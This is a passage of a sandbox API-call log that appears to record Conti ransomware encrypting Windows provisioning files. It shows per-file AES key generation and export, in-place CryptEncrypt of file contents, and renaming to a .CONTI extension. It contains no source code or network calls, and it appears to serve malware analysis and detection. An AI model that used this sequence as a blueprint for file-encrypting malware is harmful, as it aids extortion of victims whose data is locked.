	[0111.600] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\40__connections_cellular_velcom (belarus)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0111.601] GetLastError () returned 0x0
	[0111.601] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=851) returned 1
	[0111.601] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x353
	[0111.601] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.601] SetEndOfFile (hFile=0x40c) returned 1
	[0111.601] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.601] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.601] WriteFile (in: hFile=0x40c, lpBuffer=0x17f723c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17f723c*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.607] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.607] ReadFile (in: hFile=0x40c, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x353, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x353, lpOverlapped=0x0) returned 1
	[0111.607] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x353, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x360) returned 1
	[0111.607] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.607] WriteFile (in: hFile=0x40c, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x360, lpOverlapped=0x0) returned 1
	[0111.607] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.607] WriteFile (in: hFile=0x40c, lpBuffer=0x17f7230*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17f7230*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.607] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.607] CloseHandle (hObject=0x40c) returned 1
	[0111.607] GetProcessHeap () returned 0x1720000
	[0111.607] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.607] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml"
	[0111.607] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml.CONTI"
	[0111.607] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\40__connections_cellular_velcom (belarus)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\40__connections_cellular_velcom (belarus)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0111.608] GetProcessHeap () returned 0x1720000
	[0111.608] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.608] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0111.608] GetProcessHeap () returned 0x1720000
	[0111.608] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6572990 | out: hHeap=0x1720000) returned 1
	[0111.608] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.608] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17f5b68 | out: phKey=0x17f5b68*=0x6b7f1f8) returned 1
	[0111.608] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f5b6c, pdwDataLen=0x54bfc14 | out: pbData=0x17f5b6c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.609] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\410__connections_cellular_vodafone es (spain)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0111.609] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\410__connections_cellular_vodafone es (spain)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0111.609] GetLastError () returned 0x0
	[0111.610] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=850) returned 1
	[0111.610] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x352
	[0111.610] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.610] SetEndOfFile (hFile=0x40c) returned 1
	[0111.610] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.610] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.610] WriteFile (in: hFile=0x40c, lpBuffer=0x17f5b6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17f5b6c*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.613] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.613] ReadFile (in: hFile=0x40c, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x352, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x352, lpOverlapped=0x0) returned 1
	[0111.613] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x352, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x360) returned 1
	[0111.613] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.613] WriteFile (in: hFile=0x40c, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x360, lpOverlapped=0x0) returned 1
	[0111.613] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.613] WriteFile (in: hFile=0x40c, lpBuffer=0x17f5b60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17f5b60*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.613] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.613] CloseHandle (hObject=0x40c) returned 1
	[0111.613] GetProcessHeap () returned 0x1720000
	[0111.613] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.613] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml"
	[0111.614] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml.CONTI"
	[0111.614] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\410__connections_cellular_vodafone es (spain)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\410__connections_cellular_vodafone es (spain)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0111.614] GetProcessHeap () returned 0x1720000
	[0111.614] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.614] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0111.614] GetProcessHeap () returned 0x1720000
	[0111.614] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6573288 | out: hHeap=0x1720000) returned 1
	[0111.614] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.614] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17f5db0 | out: phKey=0x17f5db0*=0x6b7f478) returned 1
	[0111.614] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f5db4, pdwDataLen=0x54bfc14 | out: pbData=0x17f5db4*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.615] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\411__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0111.615] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\411__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0111.616] GetLastError () returned 0x0
	[0111.616] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=480) returned 1
	[0111.616] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0111.616] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.616] SetEndOfFile (hFile=0x40c) returned 1
	[0111.618] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.618] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.618] WriteFile (in: hFile=0x40c, lpBuffer=0x17f5db4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17f5db4*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.620] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.620] ReadFile (in: hFile=0x40c, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x1e0, lpOverlapped=0x0) returned 1
	[0111.620] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x1e0, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x1f0) returned 1
	[0111.620] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.620] WriteFile (in: hFile=0x40c, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x1f0, lpOverlapped=0x0) returned 1
	[0111.620] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.620] WriteFile (in: hFile=0x40c, lpBuffer=0x17f5da8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17f5da8*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.620] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.621] CloseHandle (hObject=0x40c) returned 1
	[0111.621] GetProcessHeap () returned 0x1720000
	[0111.621] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.621] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0111.621] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0111.621] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\411__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\411__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0111.622] GetProcessHeap () returned 0x1720000
	[0111.622] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.622] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0111.622] GetProcessHeap () returned 0x1720000
	[0111.622] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b81088 | out: hHeap=0x1720000) returned 1
	[0111.622] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.622] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17f76c8 | out: phKey=0x17f76c8*=0x6b7f538) returned 1
	[0111.622] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f76cc, pdwDataLen=0x54bfc14 | out: pbData=0x17f76cc*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.623] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\412__connections_cellular_yoigo (spain)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.623] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\412__connections_cellular_yoigo (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0111.623] GetLastError () returned 0x0
	[0111.623] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=701) returned 1
	[0111.624] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2bd
	[0111.624] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.624] SetEndOfFile (hFile=0x40c) returned 1
	[0111.624] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.624] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.624] WriteFile (in: hFile=0x40c, lpBuffer=0x17f76cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17f76cc*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.630] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.630] ReadFile (in: hFile=0x40c, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x2bd, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x2bd, lpOverlapped=0x0) returned 1
	[0111.630] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2bd, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2c0) returned 1
	[0111.630] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.630] WriteFile (in: hFile=0x40c, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2c0, lpOverlapped=0x0) returned 1
	[0111.630] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.631] WriteFile (in: hFile=0x40c, lpBuffer=0x17f76c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17f76c0*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.631] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.631] CloseHandle (hObject=0x40c) returned 1
	[0111.631] GetProcessHeap () returned 0x1720000
	[0111.631] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.631] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml"
